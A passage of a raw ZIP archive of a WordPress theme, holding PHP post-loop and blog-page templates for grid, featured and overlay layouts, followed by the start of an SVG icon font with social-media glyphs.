            <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
				<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
            </a>


            <div class="content-typography">
                <a href="<?php the_permalink(); ?>" class="overlay-typography"></a>
                <div class="main-typography">
					<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                        <span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>

                    <<?php echo $heading_title_tag;?> class="entry-title grid-title <?php echo $heading_title_tag_class;?>"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                    </<?php echo $heading_title_tag;?>>
					<?php do_action( 'penci_after_post_title' ); ?>
					<?php penci_soledad_meta_schema(); ?>

					<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
					<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                        <div class="grid-post-box-meta">
							<?php do_action( 'penci_grid_meta' ); ?>
							<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
                                <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
										penci_coauthors_posts_links();
									else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
									<?php endif; ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
                                <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ) : ?>
                                <span class="otherl-comment"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( get_theme_mod( 'penci_grid_countviews' ) ) {
								echo '<span>';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
							<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>

    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style grid-2-style typography-style penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $j ++; ?>
PK     N\m&TN  N    content-mixed-3.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $jj to count order posts
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) {
	$jj = 1;
} else {
	$jj = $jj;
}

if ( $jj < 5 ) {
	include( locate_template( 'content-grid-2.php' ) );
} else {
	include( locate_template( 'content-small-list.php' ) );
}

$jj ++;
?>

PK     N\X      content-featured.phpnu [        <?php
/**
 * Template loop for Featured Boxed style
 */
if ( ! isset ( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_id = get_the_ID();
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
    <section class="grid-featured">
        <article id="post-<?php the_ID(); ?>" class="item featured-layout">
            <div class="thumbnail">
                <?php do_action( 'penci_bookmark_post' ); ?>
				<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ) : ?>
                    <div class="penci-post-share-box penci-featured-share-box">
                        <span class="penci-shareic"><a
                                    href="#" aria-label="Share"><?php penci_fawesome_icon( 'fas fa-share' ); ?></a></span>
                        <span class="penci-shareso">
					<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
					<?php penci_soledad_social_share(); ?>
					</span>
                    </div>
				<?php endif; ?>
				<?php
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>

                    <a <?php echo penci_layout_bg(penci_image_srcset( get_the_ID(), 'penci-full-thumb' ));?> class="<?php echo penci_layout_bg_class();?> penci-image-holder"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
	                    <?php echo penci_layout_img(penci_image_srcset( get_the_ID(), 'penci-full-thumb' ),get_the_title());?>
                    </a>

            </div>

            <div class="penci-featured-infor">
                <div class="grid-header-box featured-header-box">
					<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                        <span class="cat"><?php penci_category( '' ); ?></span>
					<?php endif; ?>
                    <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title overlay-title <?php echo $heading_title_tag_class;?>"><a
                                href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
					<?php do_action( 'penci_after_post_title' ); ?>
					<?php penci_soledad_meta_schema(); ?>
					<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
					<?php if ( ! get_theme_mod( 'penci_grid_author' ) || ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_comment' ) || ! get_theme_mod( 'penci_grid_share_box' ) || get_theme_mod( 'penci_grid_countviews' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                        <div class="grid-post-box-meta">
							<?php do_action( 'penci_grid_meta' ); ?>
							<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
                                <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                penci_coauthors_posts_links();
	                                else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                <?php endif; ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
                                <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_grid_comment' ) ) : ?>
                                <span class="otherl-comment"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( get_theme_mod( 'penci_grid_countviews' ) ) {
								echo '<span>';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
							<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>

				<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ): ?>
                    <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
						<?php
						do_action( 'penci_before_post_excerpt' );
						if( get_theme_mod( 'penci_excerptcharac' ) ){
							the_excerpt();
						} else {
							$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
							penci_the_excerpt( $excerpt_length, $post_id );
						}
						?>
                    </div>
				<?php endif; ?>

				<?php if ( get_theme_mod( 'penci_grid_add_readmore' ) ):
					$class_button = '';
					if ( get_theme_mod( 'penci_grid_remove_arrow' ) ): $class_button .= ' penci-btn-remove-arrow'; endif;
					if ( get_theme_mod( 'penci_grid_readmore_button' ) ): $class_button .= ' penci-btn-make-button'; endif;
					if ( get_theme_mod( 'penci_grid_readmore_align' ) ): $class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' ); endif;
					?>
                    <div class="penci-readmore-btn<?php echo $class_button; ?>">
                        <a class="penci-btn-readmore"
                           href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
                    </div>
				<?php endif; ?>
            </div>
        </article>
    </section>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'section',
			'classes'    => 'grid-featured penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $j ++; ?>
PK     N\.<c      content-standard-grid.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $jj to count order posts
 * If $jj = 1, to show standard post, $jj > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }

if ( $jj == 1 ) {
	//get_template_part( 'content', 'standard' );
	include( locate_template( 'content-standard.php' ) );
}
else {
	include( locate_template( 'content-grid.php' ) );
}

$jj++;
?>

PK     N\?a]  ]  "  template-custom-all-blog-posts.phpnu [        <?php
/**
 * Template Name: Custom Blog Page
 *
 * @package Wordpress
 * @since   2.3
 */

get_header();

/* Sidebar position */
$sidebar_position = penci_get_sidebar_position_archive();

$featured_boxes = get_post_meta( get_the_ID(), 'penci_page_display_featured_boxes', true );
$pagetitle      = get_post_meta( $post->ID, 'penci_page_display_title', true );
$breadcrumb     = get_post_meta( get_the_ID(), 'penci_page_breadcrumb', true );

$two_sidebar_class = '';
if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;

/* Categories layout */
$layout_this = get_theme_mod( 'penci_archive_layout' );
if ( ! isset( $layout_this ) || empty( $layout_this ) ): $layout_this = 'standard'; endif;
$class_layout = '';
if ( $layout_this == 'classic' ): $class_layout = ' classic-layout'; endif;

$page_meta     = get_post_meta( get_the_ID(), 'penci_page_slider', true );
$rev_shortcode = get_post_meta( get_the_ID(), 'penci_page_rev_shortcode', true );
$title_acls = 'pcatitle-' . get_theme_mod('penci_archive_titlealign', 'default');

if ( Penci_Featured_Slider::is_slider_style( $page_meta ) ) {
	if ( $page_meta == 'video' && get_theme_mod( 'penci_featured_video_url' ) ) {
		get_template_part( 'inc/featured_slider/featured_video' );
	} else {
		Penci_Featured_Slider::render_featured_slider( [
			'style'         => $page_meta,
			'rev_shortcode' => $rev_shortcode,
		] );
	}
}

/* Display Featured Boxes */
if ( $featured_boxes == 'yes' && ! get_theme_mod( 'penci_home_hide_boxes' ) && ( get_theme_mod( 'penci_home_box_img1' ) || get_theme_mod( 'penci_home_box_img2' ) || get_theme_mod( 'penci_home_box_img3' ) || get_theme_mod( 'penci_home_box_img4' ) ) ):
	get_template_part( 'inc/modules/home_boxes' );
endif;
?>
<?php $show_page_title = penci_is_pageheader(); ?>
<?php if ( ! $show_page_title ): ?>
	<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
		<?php
		$yoast_breadcrumb = $rm_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb' . $two_sidebar_class . '">', '</div>', false );
		}

		if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
			$rm_breadcrumb = rank_math_get_breadcrumbs( [
				'wrap_before' => '<div class="container penci-breadcrumb' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
				'wrap_after'  => '</nav></div>',
			] );
		}


		if ( $rm_breadcrumb ) {
			echo $rm_breadcrumb;
		} elseif ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container penci-breadcrumb<?php echo $two_sidebar_class; ?>">
                <span><a class="crumb"
                         href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
                <span><?php the_title(); ?></span>
            </div>
		<?php } ?>
	<?php endif; ?>
<?php endif; ?>

<div class="container<?php echo esc_attr( $class_layout );
if ( penci_get_setting( 'penci_sidebar_archive' ) ) : ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php endif; ?>">
    <div id="main"
         class="penci-layout-<?php echo esc_attr( $layout_this ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> penci-main-sticky-sidebar<?php endif; ?>">
        <div class="theiaStickySidebar">

			<?php if ( ! $show_page_title ): ?>
				<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
					<?php
					$yoast_breadcrumb = $rm_breadcrumb = '';
					if ( function_exists( 'yoast_breadcrumb' ) ) {
						$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
					}

					if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
						$rm_breadcrumb = rank_math_get_breadcrumbs( [
							'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
							'wrap_after'  => '</nav></div>',
						] );
					}

					if ( $rm_breadcrumb ) {
						echo $rm_breadcrumb;
					} elseif ( $yoast_breadcrumb ) {
						echo $yoast_breadcrumb;
					} else { ?>
                        <div class="container penci-breadcrumb penci-crumb-inside<?php echo $two_sidebar_class; ?>">
                                <span><a class="crumb"
                                         href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
                            <span><?php the_title(); ?></span>
                        </div>
					<?php } ?>
				<?php endif; ?>
			<?php endif; ?>

			<?php if ( ! $show_page_title ): ?>
				<?php if ( get_the_title() && ( 'no' != $pagetitle ) ): ?>
                    <div class="archive-box">
                        <div class="title-bar <?php echo $title_acls; ?>">
                            <h1 class="page-title"><?php the_title(); ?></h1>
                        </div>
                    </div>
				<?php endif; ?>
			<?php endif; ?>

			<?php
			$paged = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

			$args = array( 'post_type' => 'post', 'post_status' => 'publish', 'paged' => $paged );

			$query_custom = new WP_Query( $args );

			if ( $query_custom->have_posts() ) :
				$class_grid_arr = array(
					'mixed',
					'mixed-2',
					'mixed-3',
					'mixed-4',
					'small-list',
					'overlay-grid',
					'overlay-list',
					'photography',
					'grid',
					'grid-2',
					'list',
					'boxed-1',
					'boxed-2',
					'boxed-3',
					'standard-grid',
					'standard-grid-2',
					'standard-list',
					'standard-boxed-1',
					'classic-grid',
					'classic-grid-2',
					'classic-list',
					'classic-boxed-1',
					'magazine-1',
					'magazine-2'
				);
				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '<ul class="penci-wrapper-data penci-grid">';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
					echo '<div class="penci-wrap-masonry"><div class="penci-wrapper-data masonry penci-masonry">';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '<div class="penci-wrapper-data">';
				}
				?>

				<?php /* The loop */
				$infeed_ads  = get_theme_mod( 'penci_infeedads_archi_code' ) ? get_theme_mod( 'penci_infeedads_archi_code' ) : '';
				$infeed_num  = get_theme_mod( 'penci_infeedads_archi_num' ) ? get_theme_mod( 'penci_infeedads_archi_num' ) : 3;
				$infeed_full = get_theme_mod( 'penci_infeedads_archi_layout' ) ? get_theme_mod( 'penci_infeedads_archi_layout' ) : '';

				while ( $query_custom->have_posts() ) : $query_custom->the_post();
					include( locate_template( 'content-' . $layout_this . '.php' ) );
				endwhile;
				?>

				<?php
				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '</ul>';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
					echo '</div></div>';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '</div>';
				}
				?>

				<?php
				if ( ! get_theme_mod( 'penci_archive_nav_ajax' ) && ! get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo penci_pagination_numbers( $query_custom );
				} else {
					penci_soledad_archive_pag_style( $layout_this, $query_custom );
				}
				?>

			<?php endif;
			wp_reset_postdata(); /* End if of the loop */ ?>
        </div>
    </div>

	<?php if ( penci_get_setting( 'penci_sidebar_archive' ) ) : ?>
		<?php get_sidebar(); ?>
		<?php if ( get_theme_mod( 'penci_two_sidebar_archive' ) ) : get_sidebar( 'left' ); endif; ?>
	<?php endif; ?>
</div>
<?php get_footer(); ?>
PK     N\+Ç      content-overlay-grid.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $jj to count order posts
 * If $jj = 1, to show standard post, $jj > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }

if ( $jj == 1 ) {
	include( locate_template( 'content-overlay.php' ) );
}
else {
	include( locate_template( 'content-grid.php' ) );
}

$jj++;
?>

PK     N\ nX.z z   fonts/penciicon.svgnu [        <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<defs>
  <font id="flaticon_mycollection" horiz-adv-x="300.5870782778865">
    <font-face font-family="flaticon_mycollection"
      units-per-em="300" ascent="300"
      descent="0" />
    <missing-glyph horiz-adv-x="0" />
    <glyph glyph-name="001-left-quote"
      unicode="&#xF101;"
      horiz-adv-x="300.0031468971594" d="M96.0181261276382 161.7284857130869C88.629211597365 163.8557881928419 81.2402970670919 164.9351739185164 74.0527839550204 164.9351739185164C62.9536776738136 164.9351739185164 53.692359333697 162.3987748080393 46.5111400159443 159.2927873117107C53.4343137666261 184.637897033525 70.0656652540595 228.3703268577183 103.1961985482314 233.2952209121806C106.2644232786473 233.7515210002937 108.7787941090085 235.9700834976713 109.6158687534091 238.9564889019427L116.8568791171905 264.8554525238115C117.4673771661142 267.0456929467545 117.1054839927831 269.3901313305081 115.856165820501 271.2908572147863S112.5991272605212 274.4597826543029 110.3490957915496 274.7681785759242C107.9039566986951 275.1017496748206 105.4116141484496 275.2716821214283 102.94129987832 275.2716821214283C63.1739604749717 275.2716821214283 23.7905425250703 233.7641085889313 7.1717786262745 174.3318088364872C-2.5836025678681 139.464188310326 -5.4441320857634 87.043175429027 18.5855746234213 54.0479587127092C32.0322661855411 35.5851130785046 51.6500230772459 25.7258842781018 76.8944320899593 24.7409054672093C76.9982796962195 24.7377585700499 77.0989804053204 24.7346116728905 77.2028280115806 24.7346116728905C108.35081609533 24.7346116728905 135.9711324633911 45.7118281374564 144.3733478789913 75.7426677296186C149.3926488482357 93.6957160240003 147.1237359963077 112.5236017286955 137.9788528510889 128.771031762682C128.9315235178114 144.8359417614232 114.0309654680485 156.5455460915537 96.0181261276382 161.7284857130869zM290.9967272269543 128.7678848655226C281.9493978936769 144.8359417614233 267.0488398439139 156.5455460915537 249.0360005035036 161.7284857130869C241.6470859732304 163.8557881928419 234.2581714429573 164.9351739185164 227.0738052280452 164.9351739185164C215.9746989468384 164.9351739185164 206.7102337095624 162.3987748080393 199.5290143918097 159.2927873117107C206.4521881424915 184.637897033525 223.0835396299249 228.3703268577183 256.2172198212562 233.2952209121806C259.285444551672 233.7515210002938 261.7966684848739 235.9700834976713 262.636890026434 238.9564889019427L269.8779003902153 264.8554525238116C270.488398439139 267.0456929467545 270.1265052658079 269.3901313305082 268.8771870935259 271.2908572147863C267.6310158184031 273.1915830990644 265.6232954307054 274.4597826543029 263.3701170645744 274.7681785759242C260.9281248688793 275.1017496748207 258.4357823186339 275.2716821214283 255.9623211513448 275.2716821214283C216.1949817479965 275.2716821214283 176.8115637980951 233.7641085889313 160.1896530021399 174.3318088364872C150.4374187051568 139.464188310326 147.5768891872614 87.043175429027 171.6097427936055 54.0416649183905C185.0532874585659 35.5819661813452 204.6741912474301 25.719590483783 229.9154533629841 24.7377585700499C230.0193009692444 24.7346116728905 230.1200016783452 24.7314647757312 230.2269961817648 24.7314647757312C261.3718373683549 24.7314647757312 288.9953006335753 45.7086812402971 297.3975160491755 75.7395208324593C302.4105232241011 93.6925691268409 300.1384634750137 112.5236017286955 290.9967272269543 128.7678848655226z" />
    <glyph glyph-name="002-messenger"
      unicode="&#xF102;"
      horiz-adv-x="300" d="M150 300C67.1625 300 0 237.825 0 161.11875C0 117.4125 21.80625 78.43125 55.89375 52.96875V0L106.96875 28.03125C120.6 24.2625 135.0375 22.21875 150 22.21875C232.8375 22.21875 300 84.39375 300 161.1S232.8375 300 150 300zM164.90625 112.96875L126.7125 153.7125L52.18125 112.96875L134.175 200.00625L173.30625 159.2625L246.9 200.00625L164.90625 112.96875z" />
    <glyph glyph-name="003-goodreads"
      unicode="&#xF103;"
      horiz-adv-x="300" d="M63.8875 63.6625H65.5C72.8125 63.6625 80.2 63.6625 87.525 63.6C88.45 63.6 89.3125 63.8375 89.6 62.375C93.7 41.925 106.8875 30.3875 125.85 24.9375C141.3625 20.4875 157.0375 20.3625 172.7125 23.8875C192.1875 28.225 204.9875 40.475 211.9125 59.275C216.525 71.8750000000001 218.0875 84.9375 218.2625 98.2375C218.325 101.6375 218.4375 125.775 218.15 129.1750000000001L217.6375 129.3500000000001C217.175 128.4750000000001 216.65 127.65 216.2 126.7750000000001C203.4625 101.525 180.875 87.2875000000001 155.4375 86.2875000000001C96.0625 83.9375000000001 57.7875 119.6875000000001 56.2875 189.5250000000001C56 203.4125000000001 57.325 217.0000000000001 61.075 230.3625000000001C72.95 272.0250000000001 104.075 299.6250000000001 149.7875 299.9750000000001C185.1125 300.2125000000001 208.3 277.3000000000001 216.775 258.7875000000001C217.0625 258.1375000000001 217.525 257.4375000000001 218.15 257.6750000000001V293.7750000000001H243.6875000000001C243.6875000000001 129.5375000000001 243.7500000000001 99.1250000000001 243.7500000000001 99.1250000000001C243.6875000000001 53.1250000000001 228.35 14.9250000000001 184.3750000000001 4.0875000000001C144.3125000000001 -5.8124999999998 92.7250000000001 1.2750000000001 71.3875000000001 37.6000000000001C66.7750000000001 45.5125000000001 64.5875000000001 54.1875000000001 63.9000000000001 63.6750000000001zM148.225 278.5875C117.9625 278.875 85.675 254.7375 81.925 200.1875C79.5625 165.6125 90.4625 128.5875 123.15 113.1125C139.0625 105.55 165.9875 104.325 185.5875 118.2125C213.025 137.6625 221.725 175.05 217.175 208.45C211.575 250.1125 189.6125 278.7625 148.225 278.5875z" />
    <glyph glyph-name="004-viber"
      unicode="&#xF104;"
      horiz-adv-x="300" d="M289.4375 126.3375C298.3875000000001 201.675 285.1375000000001 249.2375 261.2375 270.75L261.2500000000001 270.7625C222.675 307.5 92.4000000000001 312.9375 46.2500000000001 269.1125C25.5250000000001 247.675 18.2250000000001 216.2125 17.4250000000001 177.2625C16.6250000000001 138.3 15.6750000000001 65.3125 83.6875000000001 45.5125H83.7500000000001L83.6875000000001 15.275S83.2250000000001 3.025 91.0500000000001 0.5625C100.0000000000001 -2.3375 104.0500000000001 3.35 131.8875000000001 36.6C178.4375000000001 32.5625 214.1875 41.8125000000001 218.2500000000001 43.1625C227.6500000000001 46.3125 280.8375000000001 53.35 289.4375000000001 126.3375zM136.475 57.875S107.0125 21.1375 97.85 11.6C94.85 8.5 91.5625 8.7875 91.6125 14.9375C91.6125 18.975 91.8375 65.1375 91.8375 65.1375C34.175 81.6625 37.575 143.8125 38.2 176.325C38.825 208.85 44.775 235.4875 62.325 253.425C102.8125 291.3875 217.025 282.9 246.1250000000001 255.55C281.7000000000001 224.0125 269.0375 134.9125 269.1125 131.875C261.8 70.95 218.7 67.0875 210.775 64.45C207.3875 63.325 175.9500000000001 55.2375 136.4750000000001 57.875zM152.775 246.2875C147.9625 246.2875 147.9625 238.7875 152.775 238.725C190.1125 238.4375 220.8625 212.4125 221.2 164.675C221.2 159.6375 228.575 159.7 228.5125 164.7375H228.5C228.1 216.175 194.525 246 152.775 246.2875zM201.8875 172.5875C201.775 167.6125 209.1375 167.375 209.2 172.4125C209.8125 200.775 192.325 224.1375 159.4625 226.6C154.65 226.95 154.15 219.3875 158.95 219.0375C187.45 216.875 202.4625 197.425 201.8875 172.5875zM194.0125 140.3250000000001C187.8375 143.9 181.55 141.675 178.95 138.1625L173.5125 131.125C170.75 127.55 165.5875 128.025 165.5875 128.025C127.9125 137.9875 117.8375 177.4125 117.8375 177.4125S117.375 182.75 120.825 185.6125L127.625 191.2375C131.025 193.9375 133.1750000000001 200.4375 129.7125 206.825C120.4625 223.5375 114.2500000000001 229.3 111.0875 233.725C107.7625000000001 237.8875 102.7625000000001 238.825 97.5625 236.0125H97.45C86.6375 229.6875 74.8 217.85 78.5875 205.6625C85.05 192.8125 96.925 151.85 134.775 120.9C152.5625 106.2625 180.7125 91.2625 192.6625 87.8L192.775 87.625C204.55 83.7 216 96 222.1125 107.1375V107.225C224.825 112.6125 223.925 117.7125 219.9625 121.05C212.9375 127.9 202.3375 135.4625 194.0125 140.325zM164.6125 198.7C176.625 198 182.45 191.725 183.075 178.8375C183.3000000000001 173.8 190.6125 174.15 190.3875000000001 179.1875C189.5875 196.0125 180.8125 205.3875 165.0125 206.2625C160.2000000000001 206.55 159.75 198.9875 164.6125000000001 198.7z" />
    <glyph glyph-name="005-discord"
      unicode="&#xF105;"
      horiz-adv-x="300" d="M44.75 35.05H222.9875L214.475 62.6125L234.8375 45.1375L253.5 28.4125L287.5 0V269.0625C286.65 285.7875 272.25 300 254.4 300L44.8125 299.9625C26.975 299.9625 12.5 285.725 12.5 269V66C12.5 48.3625 26.95 35.05 44.75 35.05zM176.6 228.9625L176.1875 228.8125L176.3375 228.9625zM81.2125 213.1C104.125 229.775 125.3625 228.975 125.3625 228.975L127.075 227.2875C99.0375 220.6 86.325 208.075 86.325 208.075S89.725 209.7375 95.6625 212.275C133.425 227.125 174.6625 226.05 212.8375 207.25C212.8375 207.25 200.1 218.9625 173.7875 226.4625L176.1125 228.75C179.75 228.7375 199 228.0625 219.6 213C219.6 213 242.65 173.625 242.65 125.25C241.8875 126.175 228.35 104.425 193.5125 103.675C193.5125 103.675 187.6125 110.35 183.4125 116.175C203.7875 122.025 211.4125 133.725 211.4125 133.725C204.725 129.5125 198.625 127.0125 193.675 124.5125C186.0625 121.1625 178.4375 119.5125 170.825 117.825C134.775 111.975 114.5375 121.7625 95.4125 129.525L88.875 132.85S96.4875 121.15 116.05 115.3C110.9125 109.4375 105.825 102.775 105.825 102.775C71 103.6 58.3 125.35 58.3 125.35C58.3 173.8 81.2125 213.1 81.2125 213.1zM178.85 140.3625C187.7375 140.3625 194.975 147.8625 194.975 157.1125C194.975 166.3 187.775 173.8 178.85 173.8V173.7625C170 173.7625 162.75 166.2875 162.725 157.0375C162.725 147.8625 169.9625 140.3625 178.85 140.3625zM121.125 140.3625C130.0125 140.3625 137.25 147.8625 137.25 157.1125C137.25 166.3 130.0625 173.8 121.175 173.8L121.125 173.7625C112.2375 173.7625 105 166.2875 105 157.0375C105 147.8625 112.2375 140.3625 121.125 140.3625z" />
    <glyph glyph-name="006-tik-tok"
      unicode="&#xF106;"
      horiz-adv-x="300" d="M281.4375 224.771484375C264.31640625 224.771484375 248.51953125 230.443359375 235.833984375 240.01171875C221.28515625 250.98046875 210.83203125 267.0703125 207.140625 285.615234375C206.2265625 290.197265625 205.734375 294.92578125 205.6875 299.771484375H156.779296875V166.130859375L156.720703125 92.9296875C156.720703125 73.359375 143.9765625 56.765625 126.310546875 50.9296875C121.18359375 49.236328125 115.646484375 48.43359375 109.880859375 48.75C102.5214843749999 49.154296875 95.625 51.375 89.6308593749999 54.9609375C76.8749999999999 62.58984375 68.2265624999999 76.4296875 67.9921874999999 92.26171875C67.6230468749999 117.005859375 87.6269531249999 137.1796875 112.3535156249999 137.1796875C117.234375 137.1796875 121.9218749999999 136.3828125 126.3105468749999 134.935546875V171.462890625V184.59375C121.6816406249999 185.279296875 116.9707031249999 185.63671875 112.2070312499999 185.63671875C85.1425781249999 185.63671875 59.8300781249999 174.38671875 41.7363281249999 154.119140625C28.0605468749999 138.802734375 19.8574218749999 119.26171875 18.5917968749999 98.771484375C16.9335937499999 71.853515625 26.7832031249999 46.265625 45.8847656249999 27.3867187500001C48.6914062499999 24.615234375 51.6386718749999 22.0429687500001 54.7207031249999 19.6699218750001C71.0976562499999 7.0664062500001 91.1191406249999 0.234375 112.2070312499999 0.234375C116.9707031249999 0.234375 121.681640625 0.5859375000001 126.3105468749999 1.271484375C146.009765625 4.189453125 164.1855468749999 13.20703125 178.529296875 27.38671875C196.1542968749999 44.806640625 205.8925781249999 67.93359375 205.998046875 92.548828125L205.7460937499999 201.861328125C214.154296875 195.375 223.34765625 190.0078125 233.2148437499999 